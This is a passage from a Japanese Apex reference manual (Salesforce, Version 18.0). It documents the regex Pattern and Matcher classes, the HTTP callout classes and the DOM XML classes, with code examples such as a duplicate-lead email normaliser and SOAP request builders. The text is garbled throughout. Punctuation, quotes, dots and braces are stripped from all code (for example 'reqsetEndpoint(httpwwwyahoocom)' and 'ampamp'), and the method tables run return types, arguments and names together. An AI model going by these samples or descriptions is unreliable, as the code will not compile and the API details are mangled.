デフォルトではリージョンの外にあるすべてのテキストは検索されませんつまりリージョンには不透明な境界があるということになりますしかしリージョン外にあるテキストの検索には透明な境界を使用することもできます透明な境界はリージョン内に入力文字列全体が含まれていない場合のみ使用しますuseAnchoringBoundsメソッドを使用しリージョンの境界のタイプを指定できます

次の文字列の検索でリージョンには「STRING」という単語しか含まれていないとします

This is a concatenated STRING of cats and dogs

参照 Version 180 | パターンおよびマッチャークラス | 338

「cat」という単語の検索では透明な境界が設定されていない限り一致しません

キャプチャグループの理解

マッチング処理においてパターンと一致する入力文字列のそれぞれのサブ文字列が保存されますマッチするサブ文字列のことをキャプチャグループと呼びます

キャプチャグループは左から右への左かっこの数を数えることで順番をつけますたとえば正規表現文字列((A)(B(C)))ではキャプチャグループは 4 つあります

1 ((A)(B(C)))

2 (A)

3 (B(C))

4 (C)

グループ 0 は常に表現全体を表します

グループに関連付けられた取得された入力は常に最も最近に一致したグループのサブ文字列ですこのサブ文字列はMatcher クラスのマッチ処理の 1 つが返した文字列です

マッチ処理の 1 つを使用しグループを再度評価した場合2 回目の評価が失敗した場合は前に取得した値がある場合はその値が保持されます

Pattern と Matcher 例

Matcher クラスの endメソッドは最後の文字が一致した後のマッチ文字列の位置を返しますこの値は文字列を解析中に一致する部分が見つかった後次の一致を見つけるなど別の処理を行う場合に使用します

正規表現構文ではは 1 つ一致または一致がないことを意味しますが+は 1 つ以上一致したことを示します

次の例ではMatcher オブジェクトと共に渡された文字列がパターンに一致しますこれは(a(b))が文字列abから aそれに bに 1 つだけ続く文字列に一致するためにですその後最後の aから aそれにbが 1 つも続かない文字列に一致します

pattern myPattern = patterncompile((a(b))+) matcher myMatcher = myPatternmatcher(aba)Systemassert(myMatchermatches() ampamp myMatcherhitEnd())

グループが 2 つありますグループ 0 は常にパターン全体グループ 1 には 最も最近一致したサブ文字列が含まれますこの例では「a」です よって次は真となります

Systemassert(myMatchergroupCount() == 2 ampamp myMatchergroup(0) == aba ampamp myMatchergroup(1)== a)

グループ 0 はパターン全体となるため次は真となります

Systemassert(myMatcherend() == myMatcherend(0))

最後の文字が一致した後のオフセットは end で返され 両方のグループが最後の入力文字を使用しているためオフセットは 3 となります オフセットは 0 から始まりますよって次もまた真となります

Systemassert(myMatcherend() == 3 ampamp myMatcherend(0) == 3 ampamp myMatcherend(1) == 3)

参照 Version 180 | パターンおよびマッチャークラス | 339

次の例では電子メールアドレスが正規化され似たような電子メールアドレスで異なるトップレベルドメイン名やサブドメインがある場合重複が報告されますたとえばjohnfairwaysmithcoは johnsmithcoに正規化されます

class normalizeEmailAddresses

public void hasDuplicatesByDomain(Lead[] leads) このパターンは電子メールアドレスを「johnsmithcocom」または「johnsmithco」から 「johnsmithco」に短縮します PatternemailPattern = Patterncompile((lt=)(([w]+[w]+$) [w]+)|([w]+$)) emailkey からリードへのセットを定義しますMapltStringLeadgt leadMap = new MapltStringLeadgt()for(Lead leadleads) 電子メールが null 値のリードは無視しますif(leademail = null) 正規表現を用いてキーを生成しますString emailKey =emailPatternmatcher(leademail)replaceAll() バッチの重複を探しますif(leadMapcontainsKey(emailKey)) leademailaddError(Duplicate found in batch) else キーを重複キーカスタム項目に保持しますleadDuplicate_Key__c = emailKey leadMapput(emailKeylead) データベース内で重複を探しますfor(Lead[] leadsCheck[select Id duplicate_key__cfrom Lead where duplicate_key__c IN leadMapkeySet()]) for(Lead leadleadsCheck)

重複がある場合エラーを追加しますif(leadMapcontainsKey(leadDuplicate_Key__c))leadMapget(leadDuplicate_Key__c)emailaddError(Duplicate found in salesforce(id +leadid + ))

Pattern メソッド

次にPattern のシステム静的メソッドを示します

説明戻り値の型引数名前

正規表現を Pattern オブジェクトにコンパイルします

Pattern オブジェクトString regExpcompile

正規表現 regExpをコンパイルしsに対するマッチ

BooleanString regExp

String s

matches

処理を実行します文字列sが正規表現に一致する場合は真をそれ以外は偽を返します

パターンを複数回使用する場合コンパイルは一度だけ実行し再利用することによりこのメソッドを毎回起動するよりも効率的に処理できます

次のコード例にご注意ください

Patternmatches(regExpinput)

参照 Version 180 | パターンおよびマッチャークラス | 340

説明戻り値の型引数名前

このコードは次のコード例と同じ結果を生成します

Patterncompile(regex)

matcher(input)matches()

リテラルパターンのように文字列sに一致するパター

StringString squote

ンを作成するのに使用する文字列を返します入力文字列の $や ^などのメタキャラクタやエスケープシーケンスは特に意味のないリテラル文字として扱われます

次にPattern のインスタンスメソッドを示します

説明戻り値の型引数名前

この Pattern オブジェクトに対し入力文字列 regExpに一致する Matcher オブジェクトを作成します

Matcher オブジェクト

String regExpmatcher

この Pattern オブジェクトがコンパイルされた正規表現を返します

Stringpattern

このパターンに一致する文字列のサブ文字列を含むリストを返します

このサブ文字列は文字列の中で発生した順序でリストに記述されますsが

String[]String ssplit

パターンに一致しない場合結果リストには元の文字列を含む要素が 1 つだけ含まれます

文字列の各サブ文字列を含むリストを返しますこのサブ文字列はこのパ

String[]String regExp

Integer limit

split

ターンに一致する正規表現 regExpまたは文字列の末尾に達したことのいずれかにより終了します

オプションの limitパラメータはパターンが適用された回数を制御するためリストの長さに影響を与えます

参照 Version 180 | パターンおよびマッチャークラス | 341

説明戻り値の型引数名前

bull limitが 0 より大きい場合パターンは最大 limit - 1 回適用されたことになりますまたリストの長さは最大 limitとなりリストの最後のエントリには最後に一致した区切り文字移行のすべての入力が含まれます

bull limitが正の値でない場合パターンを何度でも適用することが可能となりリストの長さも任意となります

bull limitが 0 の場合パターンは何度でも適用することが可能となりリストの長さも任意となりますが残りの続く空の文字列は破棄されます

Matcher メソッド

次にMatcher のシステム静的メソッドを示します

説明戻り値の型引数名前

指定された文字列 sをリテラルに置き換える文字列を返します返された文字列の文字はsの文

StringString squoteReplacement

字シーケンスに一致します入力文字列の $や ^

などのメタキャラクタやエスケープシーケンスは特に意味のないリテラル文字として扱われます

次にMatcher のインスタンスメソッドを示します

説明戻り値引数名前

最後に一致した文字の後の位置を返します

Integerend

前のマッチ処理の中でグループgroupIndexが取得したサブシーケンス

IntegerInteger groupIndexend

の最後の文字の後の位置を返します一致が成功したもののグループ自体が何にも一致しない場合はメソッドの戻り値は -1 となります

取得されたグループは左から右へ1から順に索引が付けられますグループ

参照 Version 180 | パターンおよびマッチャークラス | 342

説明戻り値引数名前

0 はパターン全体を表しますよってmend(0)は mend()と同じ意味となります

「キャプチャグループの理解」 (ページ339)を参照してください

パターンに一致する入力シーケンスの次のサブシーケンスを検索します入力

Booleanfind

シーケンスのサブシーケンスが Matcherオブジェクトのパターンに一致する場合このメソッドは真を返します

このメソッドは Matcher オブジェクトのリージョンの最初から開始しますまたは前のメソッド呼び出しが成功しMatcher オブジェクトがそれ以降リセットされていない場合前のマッチ処理で一致しなかった最初の文字から開始します

マッチ処理が成功した場合startendgroupメソッドを使用してさらに多くの情報を取得できます

詳細は「リージョンの使用」 (ページ337)を参照してください

Matcher オブジェクトをリセットしパターンに一致する入力シーケンスの次の

BooleanInteger groupfind

サブシーケンスを検索します入力シーケンスのサブシーケンスが Matcher オブジェクトのパターンに一致する場合このメソッドは真を返します

マッチ処理が成功した場合startendgroupメソッドを使用してさらに多くの情報を取得できます

前のマッチ処理で返された入力サブシーケンスを返します

(a)などグループによっては空の文字列にも一致します入力された空の文

Stringgroup

字列とそのようなグループが一致した場合このメソッドは空の文字列を返します

前のマッチ処理の中で指定したグループgroupIndexが取得した入力サブシー

StringInteger groupIndexgroup

参照 Version 180 | パターンおよびマッチャークラス | 343

説明戻り値引数名前

ケンスを返します一致が成功したものの指定されたグループが入力サブシーケンスのどの部分にも一致しない場合はnull値を返します

取得されたグループは左から右へ1から順に索引が付けられますグループ0 はパターン全体を表しますよってmgroup(0)は mgroup()と同じ意味となります

(a)などグループによっては空の文字列にも一致します入力された空の文字列とそのようなグループが一致した場合このメソッドは空の文字列を返します

「キャプチャグループの理解」 (ページ339)を参照してください

一致するオブジェクトのパターン内のキャプチャグループ数を返しますグ

IntegergroupCount

ループ 0 はパターン全体を表しこの数には含まれません

「キャプチャグループの理解」 (ページ339)を参照してください

Matcher オブジェクトにアンカー付き境界がある場合は真それ以外は偽を返し

BooleanhasAnchoringBounds

ますデフォルトではMatcher オブジェクトはアンカー付き境界リージョンを使用します

Matcher オブジェクトがアンカー付き境界を使用している場合Matcher オブジェクトのリージョンの境界は ^ や $などのラインアンカー行の開始と終了に一致します

詳細は「境界の使用」 (ページ 338)を参照してください

Matcher オブジェクトに透明な境界がある場合は真不透明な境界を使用してい

BooleanhasTransparentBounds

る場合は偽を返しますデフォルトではMatcher オブジェクトは不透明なリージョン境界を使用します

参照 Version 180 | パターンおよびマッチャークラス | 344

説明戻り値引数名前

詳細は「境界の使用」 (ページ 338)を参照してください

この Matcher オブジェクトが最後に実行したマッチ処理で検索エンジンで入力

BooleanhitEnd

の最後が見つかった場合は真を返しますこのメソッドが真を返す場合入力が多ければ最後の検索の結果が異なっていた可能性があります

パターンに対しリージョンの先頭から入力シーケンスの一致を確認します

matchesメソッドと同様にこのメソッドは必ずリージョンの先頭から開始しま

BooleanlookingAt

す一方異なる点はリージョン全体が一致する必要がないことです

マッチ処理が成功した場合startendgroupメソッドを使用してさらに多くの情報を取得できます

「リージョンの使用」 (ページ 337)を参照してください

パターンに対してリージョン全体が一致するかどうかを確認します

マッチ処理が成功した場合startendgroupメソッドを使用してさらに多くの情報を取得できます

Booleanmatches

「リージョンの使用」 (ページ 337)を参照してください

この Matcher オブジェクトが作成されたPattern オブジェクトを返します

Pattern オブジェクト

pattern

この Matcher オブジェクトのリージョンの限界を設定しますリージョンは一致

Matcher オブジェクト

Integer start

Integer end

region

を検索する入力シーケンスの一部ですこのメソッドは最初に Matcher オブジェクトをリセットしstartで指定された索引で開始しendで指定された索引で終了するよう設定します

使用されている透明な境界によりアンカーのような特定のコンストラクトがリージョンの境界でまたはその周りで異なった動作をする可能性があります

参照 Version 180 | パターンおよびマッチャークラス | 345

説明戻り値引数名前

「リージョンの使用」 (ページ 337)および「境界の使用」 (ページ 338)を参照してください

この Matcher オブジェクトのリージョンの終了索引 (含まない) を返します

「リージョンの使用」 (ページ 337)を参照してください

IntegerregionEnd

この Matcher オブジェクトのリージョンの開始索引 (含む) を返します

「リージョンの使用」 (ページ 337)を参照してください

IntegerregionStart

入力シーケンスのすべてのサブシーケンスを置き換え文字列 sで置き換えます

このメソッドは最初に Matcher オブジェクトをリセットしパターンの一致を探

StringString sreplaceAll

しながら入力シーケンスをスキャンしますマッチのどの部分にも含まれない文字は結果の文字列に直接追加されますそれぞれの一致は置き換え文字列により結果の中で置き換えられます置き換え文字列には取得されたサブシーケンスへの参照が含まれている場合があります

置き換え文字列の円記号 () とドル記号($) は文字列がリテラル置き換え文字列として処理された場合は異なる結果となる場合がありますドル記号は取得されたサブシーケンスへの参照円記号は置き換え文字列の中でリテラル文字をエスケープするために使用します

このメソッドを起動するとMatcher オブジェクトの状態が変わりますMatcher オブジェクトをさらにマッチ処理で使用する場合まずリセットする必要があります

正規表現 ab入力文字列「aabfooaabfooabfoob」 と置き換え文字列 「-」 を与えるとその表現のMatcher オブジェクトに対してこのメ

参照 Version 180 | パターンおよびマッチャークラス | 346

説明戻り値引数名前

ソッドを呼び出すと文字列「-foo-foo-foo-」 を導き出します

置き換え文字列 sのパターンに一致する入力シーケンスの最初のサブシーケンスを置き換えます

置き換え文字列の円記号 () とドル記号($) は文字列がリテラル置き換え文字

StringString sreplaceFirst

列として処理された場合は異なる結果となる場合がありますドル記号は取得されたサブシーケンスへの参照円記号は置き換え文字列の中でリテラル文字をエスケープするために使用します

このメソッドを起動するとMatcher オブジェクトの状態が変わりますMatcher オブジェクトをさらにマッチ処理で使用する場合まずリセットする必要があります

正規表現 dog入力文字列「zzzdogzzzdogzzz」置き換え文字列 「cat」 を与えるとその表現のMatcher オブジェクトに対してこのメソッドを呼び出すと文字列「zzzcatzzzdogzzz」 を導き出します

入力が増えるとポジティブマッチがネガティブマッチになる場合真を返します

このメソッドが真を返しかつ一致が見つかった場合入力が増えると一致しなくなる場合があります

BooleanrequireEnd

このメソッドが偽を返しかつ一致が見つかった場合入力が増えると一致結果が変わる場合がありますが一致しなくなることはありません

一致が見つからなかった場合requireEndは意味を持たなくなります

この Matcher オブジェクトをリセットしますMatcher オブジェクトをリセット

Matcher オブジェクト

reset

すると明示的な状態情報はすべて破棄されます

参照 Version 180 | パターンおよびマッチャークラス | 347

説明戻り値引数名前

Matcher オブジェクトがアンカー付き境界を使用してもしていなくてもメソッドは変わりませんアンカー付き境界を変更するにはuseAnchoringBounds

メソッドを明示的に使用する必要があります

詳細は「境界の使用」 (ページ 338)を参照してください

この Matcher オブジェクトを新しい入力シーケンス sでリセットします

MatcherString sreset

Matcher オブジェクトをリセットすると明示的な状態情報はすべて破棄されます

前のマッチ処理の最初の文字の開始索引を返します

Integerstart

前のマッチ処理の中でgroupIndexが指定したグループが取得したサブシーケ

IntegerInteger groupIndexstart

ンスの開始索引を返します取得されたグループは左から右へ1 から順に索引が付けられますグループ 0 はパターン全体を表しますよってmstart(0)は mstart()と同じ意味となります

「キャプチャグループの理解」 (ページ339)を参照してください

この Matcher オブジェクトのリージョンのアンカー付き境界を設定しますデ

Matcher オブジェクト

Boolean buseAnchoringBounds

フォルトではMatcher オブジェクトはアンカー付き境界リージョンを使用します

このメソッドに trueを指定してもMatcher オブジェクトはアンカー付き境界を使用しますfalseを指定した場合非アンカー付き境界を使用します

Matcher オブジェクトがアンカー付き境界を使用している場合Matcher オブジェクトのリージョンの境界は ^ や $などのラインアンカー行の開始と終了に一致します

詳細は「境界の使用」 (ページ 338)を参照してください

参照 Version 180 | パターンおよびマッチャークラス | 348

説明戻り値引数名前

Matcher オブジェクトが一致を探すのに使用する Pattern オブジェクトを変更し

Matcher オブジェクト

Pattern patternusePattern

ますこのメソッドによりMatcher オブジェクトは最後の一致のグループについての情報を失います入力でのMatcher オブジェクトの位置は保持されます

この Matcher オブジェクトの透明な境界を設定しますデフォルトでは

Matcher オブジェクト

Boolean buseTransparentBounds

Matcher オブジェクトはアンカー付き境界リージョンを使用します

このメソッドに trueを指定するとMatcher オブジェクトは透明な境界を使用しますfalseを指定すると不透明な境界を使用します

詳細は「境界の使用」 (ページ 338)を参照してください

HTTP (RESTful)サービスクラスRESTfulサービスとも呼ばれる以下のクラスを使ったHTTPサービスにアクセス可能です

bull HTTPクラスbull DOM クラスbull Cryptoクラスbull EncodingUtilクラス

HTTPクラス

これらのクラスは一般的なHTTP要求応答の機能を表示します

bull HttpクラスHTTP要求と反応を開始するためにこのクラスを使いますbull HttpRequestクラスプログラムに基づいてGETPOSTPUTおよびDELETEのようなHTTP要求を作成

するためにこのクラスを使ってくださいbull HttpResponseクラスHTTPによって戻されたHTTP反応を処理するためにこのクラスを使ってください

HttpRequestとHttpResponseは以下のエレメントをサポートします

bull HttpRequest

- GETPOSTPUTDELETETRACECONNECTHEADおよびOPTIONSなどのHTTP要求型- 必要に応じて要求ヘッダー- 読み取りおよび接続タイムアウト- 必要に応じてリダイレクト- メッセージ本文の内容

参照 Version 180 | HTTP (RESTful)サービスクラス | 349

bull HttpResponse

- HTTPステータスコード- 必要に応じて要求ヘッダー- 応答本文の内容

以下の例はgetContent方式に送られたurlの値によって指定された外部サーバになされたHTTP GET要求を示します この例はまた以下の返された応答の本文へのアクセスも示します

public class HttpCalloutSample

Pass in the endpoint to be used using the string url public String getContent(Stringurl)

Instantiate a new http object Http h = new Http()

Instantiate a new HTTP request specify the method (GET) as well as the endpointHttpRequest req = new HttpRequest() reqsetEndpoint(url) reqsetMethod(GET)

Send the request and return a response HttpResponse res = hsend(req) returnresgetBody()

Apexまたはその他の機能を使ってエンドポイントまたはリダイレクトエンドポイントから外部サーバにアクセスするにはSalesforcecomユーザインターフェース内の認証されたリモートサイトのリストをリモートサイトに追加する必要がありますそうするためにはSalesforcecomにログインし設定セキュリティのコントロールリモートサイトの設定を選択します

メモ AJAXプロキシはリダイレクトと認証チャレンジ(401407応答)を自動的に処理します AJAX プロキシの詳細は『AJAX Toolkit documentation』を参照してください

DOM クラスを使用してHttpRequestで作成された要求または HttpResponseがアクセスした応答の補文のXML コンテンツを解析します

Httpクラス

HTTP要求と応答を開始するためにHttpクラスを使ってくださいHttpクラスには以下の公開方式が含まれます

説明戻り値の型引数名前

HttpRequestを送信して応答を返しますSystemHttpResponseHttpRequestrequest

send

オブジェクトのプロパティを表示し特定する文字列を返します

StringtoString

HttpRequestクラス

プログラムに基づいてGETPOSTPUTおよびDELETEのようなHTTP要求を作成するためにHttpRequest

クラスを使ってください

DOM クラスを使用してHttpRequestで作成された要求の本文の XML コンテンツを解析します

HttpRequestクラスには以下の公開方式が含まれます

参照 Version 180 | HTTP (RESTful)サービスクラス | 350

説明戻り値の型引数名前

この応答の本文を取得してしますStringgetBody

この要求のための本文の内容を設定します最大 1 MB です

VoidString bodysetBody

要求の本文を DOM ドキュメントとして取得します以下のショートカットとしてそれを使ってくださいString xml = httpRequestgetBody()DomDocument domDoc = newDomDocument(xml)

DomDocumentgetBodyDocument

この要求のための本文の内容を設定しますコンテンツは DOM ドキュメントを示します最大 1 MB です

VoidDomDocumentdocument

setBodyDocument

trueの場合要求の本文は圧縮されfalse

の場合は圧縮されませんBooleangetCompressed

trueの場合本文内のデータはgzip圧縮フォーマットにてエンドポイントに提供されます

VoidBoolean flagsetCompressed

falseの場合非圧縮フォーマットが使用されます

この要求のための外部サーバーのエンドポイント用のURLを取得します

StringgetEndpoint

この要求のための外部サーバーのエンドポイント用のURLを設定します

VoidString endpointsetEndpoint

要求ヘッダーの内容を取得しますStringString keygetHeader

要求ヘッダーの内容を設定します制限 100KB

VoidString key

String Value

setHeader

HttpRequestによって使用される方法のタイプを返します例 GETPOSTTRACEPUTHEADまたはDELETE

StringgetMethod

HTTP要求によって使用される方法のタイプを設定します例 GETPOSTTRACE

String methodsetMethod

PUTHEADまたはDELETE要求オプションの設定にもこの方式は使えます

このメソッドは廃止されます代わりにsetClientCertificateNameを使用してください

認証用のクライアント証明書をサーバが必要とする場合クライアント証明書PKCS12キーストアとパスワードを設定します

VoidString clientCert

String password

setClientCertificate

参照 Version 180 | HTTP (RESTful)サービスクラス | 351

説明戻り値の型引数名前

外部サービスに認証用のクライアント証明書が必要な場合証明書の名前を設定します

VoidString certDevNamesetClientCertificateName

「HTTP 要求での証明書の使用 (ページ 183)」を参照してください

要求のタイムアウトをミリ秒単位で設定します値は 1 60000 ミリ秒です

VoidInteger timeoutsetTimeout

この要求と使用方式用の外部サーバのエンドポイントに関するURLが含まれた文字列が返り

StringtoString

ます例 Endpoint=httpwwwqaresponderinfoMethod=POST

以下の例は要求を伴った認証ヘッダーの使い方と応答の処理を示しています

public class AuthCallout

public void basicAuthCallout() HttpRequest req = new HttpRequest()reqsetEndpoint(httpwwwyahoocom) reqsetMethod(GET)

Specify the required user name and password to access the endpoint As well as theheader and header information

String username = myname String password = mypwd

Blob headerValue = BlobvalueOf(username + + password) String authorizationHeader =BASIC + EncodingUtilbase64Encode(headerValue) reqsetHeader(AuthorizationauthorizationHeader)

Create a new http object to send the request object A response object is generatedas a result of the request

Http http = new Http() HTTPResponse res = httpsend(req) Systemdebug(resgetBody())

圧縮

送信するデータを圧縮する必要がある場合は以下のサンプルにて説明するように setCompressedを使ってください

HttpRequest req = new HttpRequest() reqsetEndPoint(my_endpoint) reqsetCompressed(true)reqsetBody(some post body)

圧縮フォーマットで応答が返ってくるならgetBodyは自動的にフォーマットを認識し解凍し解凍された値でそれを返します

HttpResponseクラス

Httpクラスによって戻されたHTTP応答を処理するために HttpResponseクラスを使用します

DOM クラスを使用して HttpResponseがアクセスした応答の本文の XML コンテンツを解析します

HttpResponseクラスには以下の公開方式が含まれます

参照 Version 180 | HTTP (RESTful)サービスクラス | 352

説明戻り値の型引数名前

応答内の戻された本文を取得してくださいStringgetBody

応答で返された本文を DOM ドキュメントとして取得します以下のショートカットとしてそれを使ってくださいString xml = httpResponsegetBody()DomDocument domDoc = new DomDocument(xml)

DomDocumentgetBodyDocument

応答ヘッダーの内容を取得してくださいStringString keygetHeader

応答内の戻されたヘッダーキー配列を取得しますString[]getHeaderKeys

応答のために戻されたステータスメッセージを取得してください

StringgetStatus

応答内の戻されたステータスコードの値を取得してください

IntegergetStatusCode

コールアウト応答の本文を解析するXmlStreamReader(XmlStreamReaderクラス)を戻します以下のショートカットとしてそれを使ってください

String xml = httpResponsegetBody()XmlStreamReader xsr = newXmlStreamReader(xml)

XmlStreamReadergetXmlStreamReader

完全な例はgetXmlStreamReader例 (ページ 353)を参照してください

以下のような応答内に戻されたステータスメッセージとステータスコードを戻しますStatus=OK StatusCode=200

StringtoString

以下のgetXmlStreamReader例内で内容は外部Webサーバから取得されXMLはXmlStreamReaderを使って解析されます

public class ReaderFromCalloutSample

public void getAndParse()

Get the XML document from the external server Http http = new Http() HttpRequest req =new HttpRequest() reqsetEndpoint(httpwwwcheenathcomtutorialsample1buildxml)reqsetMethod(GET) HttpResponse res = httpsend(req)

Log the XML content Systemdebug(resgetBody())

Generate the HTTP response as an XML stream XmlStreamReader reader =resgetXmlStreamReader()

Read through the XML while(readerhasNext()) Systemdebug(Event Type +readergetEventType()) if (readergetEventType() == XmlTagSTART_ELEMENT) Systemdebug(readergetLocalName()) readernext()

参照 Version 180 | HTTP (RESTful)サービスクラス | 353

DOM クラス

DOM (ドキュメントオブジェクトモデル) クラスを使用してXML コンテンツを解析または生成できますこれらのクラスを使用してXML コンテンツを処理できますある一般的なアプリケーションではクラスを使用してHttpRequestで作成された要求の本文を生成するかHttpResponseがアクセスした応答を解析しますDOM はXML ドキュメントをノードの階層として示します分岐ノードで子ノードがあるノードもあれば葉ノードで子ノードがないものもあります

DOM クラスは Dom名前空間に含まれます

Documentクラス を使用してXML ドキュメントのコンテンツを処理します

XmlNodeクラスを使用して XML ドキュメントのノードを処理しますDocumentクラス

Documentクラスを使用して XML コンテンツを処理しますHttpRequestの要求の本文を作成したりHttpResponseがアクセスした応答を解析できます

XML 名前空間

XML 名前空間はURI リファレンスで識別される名前の集合で XML ドキュメントで使用され要素の種類や属性名を一意に特定しますXML 名前空間の名前は修飾名として示される場合がありコロンを使用して名前を名前空間プレフィックスとローカルの部分に分割しますURI リファレンスに対応付けられたプレフィックスは名前空間を選択します管理された URI 名前空間とドキュメント独自の名前空間を組み合わせて一意の識別子を作成します

次の XML 要素にはhttpmynamespaceの名前空間と myprefixの接頭辞があります

ltsampleElement xmlnsmyprefix=httpmynamespace gt

次の例でXML 要素には 2 つの属性があります

bull 最初の属性にはdimensionのキーがあります値は 2ですbull 2 番目の属性にはhttpns1のキー名前空間があります値名前空間は httpns2キーは foo値は

barです

ltsquare dimension=2 ns1foo=ns2bar xmlnsns1=httpns1 xmlnsns2=httpns2 gt

メソッド

Documentクラスには次のメソッドがあります

説明戻り値の型引数名前

ドキュメントの上位レベルのルート要素を作成します

name引数には null値がありません

DomXmlNodeString name

String namespace

String prefix

createRootElement

参照 Version 180 | HTTP (RESTful)サービスクラス | 354

説明戻り値の型引数名前

namespace引数に null以外の値がありprefix

引数がnullである場合名前空間はデフォルトの名前空間として設定されます

prefix引数が nullである場合要素に自動的に接頭辞が割り当てられます自動プレフィックスの形式は nsiでiは番号を示します

prefix引数が である場合名前空間はデフォルトの名前空間として設定されます

名前空間についての詳細は「XML 名前空間 (ページ 355)」を参照してください

ドキュメントでこのメソッドを複数回呼び出すとドキュメントに指定できるルート要素は 1 つだけであるためエラーが発生します

ドキュメントの上位レベルのルート要素を返しますこのメソッドがnullを返す場合ルート要素はまだ作成されていません

DomXmlNodegetRootElement

xml引数で指定されたドキュメントの XML の表示を解析しドキュメントのロードします例

DomDocument doc = new Document()docload(xml)

VoidString xmlload

ドキュメントの XML 表示を文字列として返します

StringtoXmlString

Documentの例

サンプルではparseResponseDomに渡される url引数が次の XML 応答を返すと想定します

ltaddressgt ltnamegtKirk Stevensltnamegt ltstreet1gt808 State Stltstreet1gt ltstreet2gtApt2ltstreet2gtltcitygtPalookavilleltcitygt ltstategtPAltstategt ltcountrygtUSAltcountrygt ltaddressgt

次の例ではDOM クラスをy使用して GET要求の本文で返される XML 応答をどのように解析するかを示しています

public class DomDocument

要求の URL に渡します この例ではURL が上記の XML を応答の本文で返すと想定します publicvoid parseResponseDom(String url) Http h = new Http() HttpRequest req = new HttpRequest() url that returns the XML in the response body reqsetEndpoint(url) reqsetMethod(GET)HttpResponse res = hsend(req) DomDocument doc = resgetBodyDocument()

このドキュメントのルート要素を返しますDomXMLNode address = docgetRootElement()

String name = addressgetChildElement(name null)getText() String state =addressgetChildElement(state null)getText() 特定の要素を出力します Systemdebug(Name

参照 Version 180 | HTTP (RESTful)サービスクラス | 355

+ name) Systemdebug(State + state)

または子要素をループします アドレスのすべての要素を出力します for(DomXMLNode child addressgetChildElements()) Systemdebug(childgetText())

XmlNodeクラス

XmlNodeクラスを使用して XML ドキュメントのノードを処理しますDOM はXML ドキュメントをノードの階層として示します分岐ノードで子ノードがあるノードもあれば葉ノードで子ノードがないものもあります

ノードの種類

Apex で使用できるさまざまな種類の DOM ノードがありますXmlNodeTypeはこうした様々な種類の列挙です値は次のとおりです

bull COMMENTbull ELEMENTbull TEXT

XML ドキュメントでは要素とノードを区別することが重要です次にXML の簡単な例を示します

ltnamegt ltfirstNamegtSuvainltfirstNamegt ltlastNamegtSinghltlastNamegt ltnamegt

この例にはnamefirstNameおよび lastNameの 3 つの XML 要素が含まれていますノードはnamefirstNameおよび lastNameの 3 つの要素ノードSuvainおよび Singhの 2 つのテキストノード合計 5 つのノードが含まれています要素ノード内のテキストは個別のテキストノードと見なされます

すべての enum で共有されるメソッドの詳細は「Enum メソッド (ページ 237)」を参照してください

メソッド

XmlNodeクラスには次のメソッドがあります

説明戻り値の型引数名前

このノードの子要素ノードを作成します

name引数には null値がありません

DomXmlNodeString name

String namespace

addChildElement

String prefix namespace引数にnull以外の値がありprefix

引数がnullである場合名前空間はデフォルトの名前空間として設定されます

prefix引数がnullである場合要素に自動的に接頭辞が割り当てられます自動プレフィックスの形式は nsiでiは番号を示します

prefix引数がである場合名前空間はデフォルトの名前空間として設定されます

このノードの子コメントノードを作成しますtext引数には null値がありません

DomXmlNodeString textaddCommentNode

参照 Version 180 | HTTP (RESTful)サービスクラス | 356

説明戻り値の型引数名前

このノードの子テキストノードを作成しますtext引数には null値がありません

DomXmlNodeString textaddTextNode

指定された keyおよび keyNamespaceの属性値を返します

StringString key

String keyNamespace

getAttribute

このノードの属性の数を返しますIntegergetAttributeCount

指定された indexの属性キーを返しますインデックス値は 0 から始まります

StringInteger indexgetAttributeKeyAt

指定された indexの属性キー名前空間を返します詳細は「XML 名前空間 (ページ355)」を参照してください

StringInteger indexgetAttributeKeyNsAt

指定された keyおよび keyNamespaceの属性値を返します

StringString key

String keyNamespace

getAttributeValue

指定された keyおよび keyNamespaceの属性値の名前空間を返します詳細は「XML 名前空間(ページ 355)」を参照してください

StringString key

String keyNamespace

getAttributeValueNs

指定された nameおよび namespaceを含むノードの子要素ノードを返します

DomXmlNodeString name

String namespace

getChildElement

このノードの子要素ノードを返します詳細は「ノードの種類 (ページ 357)」を参照してください

DomXmlNode[]getChildElements

このノードの子を返します詳細は「ノードの種類 (ページ 357)」を参照してください

DomXmlNode[]getChildren

要素の名前を返しますStringgetName

要素の名前空間を返します詳細は「XML 名前空間 (ページ 355)」を参照してください

StringgetNamespace

指定されたprefixの要素の名前空間を返します詳細は「XML 名前空間 (ページ355)」を参照してください

StringString prefixgetNamespaceFor

ノードの種類を返しますDomXmlNodeTypegetNodeType

要素の親を返しますDomXmlNodegetParent

指定された namespaceの接頭辞を返しますnamespace引数には null値がありません詳細

StringString namespacegetPrefixFor

は「XML 名前空間 (ページ355)」を参照してください

このノードのテキストを返しますStringgetText

参照 Version 180 | HTTP (RESTful)サービスクラス | 357

説明戻り値の型引数名前

指定された keyおよび keyNamespaceの属性を削除します成功した場合は true失敗した場合

BooleanString key

String keyNamespace

removeAttribute

は falseを返します詳細は「XML 名前空間(ページ 355)」を参照してください

指定された childNodeを削除しますBooleanDomXmlNodechildNode

removeChild

key属性値を設定しますVoidString key

String value

setAttribute

key属性値を設定します詳細は「XML 名前空間 (ページ 355)」を参照してください

VoidString key

String value

setAttributeNs

String keyNamespace

StringvalueNamespace

指定された prefixの namespaceを設定します詳細は「XML 名前空間 (ページ355)」を参照してください

VoidString prefix

String namespace

setNamespace

XmlNodeの例

XmlNodeメソッドの使用についての基本的な例は「Documentクラス (ページ 354)」を参照してください

次の例は名前空間の使用について示します

public class DomNamespaceSample public void sendRequest(String endpoint) 要求エンベロープを作成します DOMDocument doc = new DOMDocument()

String soapNS = httpschemasxmlsoaporgsoapenvelope String xsi =httpwwww3org2001XMLSchema-instance String serviceNS =httpwwwmyservicecomservicesMyService

domXmlNode envelope = doccreateRootElement(Envelope soapNS soapenv)envelopesetNamespace(xsi xsi) envelopesetAttributeNS(schemaLocation soapNS xsinull)

domXmlNode body = envelopeaddChildElement(Body soapNS null)

bodyaddChildElement(echo serviceNS req) addChildElement(category serviceNSnull) addTextNode(classifieds)

Systemdebug(doctoXmlString())

要求を送信します HttpRequest req = new HttpRequest() reqsetMethod(POST)reqsetEndpoint(endpoint) reqsetHeader(Content-Type textxml)

reqsetBodyDocument(doc)

Http http = new Http() HttpResponse res = httpsend(req)

SystemassertEquals(200 resgetStatusCode())

参照 Version 180 | HTTP (RESTful)サービスクラス | 358

domDocument resDoc = resgetBodyDocument()

envelope = resDocgetRootElement()

String wsa = httpschemasxmlsoaporgws200408addressing

domXmlNode header = envelopegetChildElement(Header soapNS) Systemassert(header =null)

String messageId = headergetChildElement(MessageID wsa)getText()

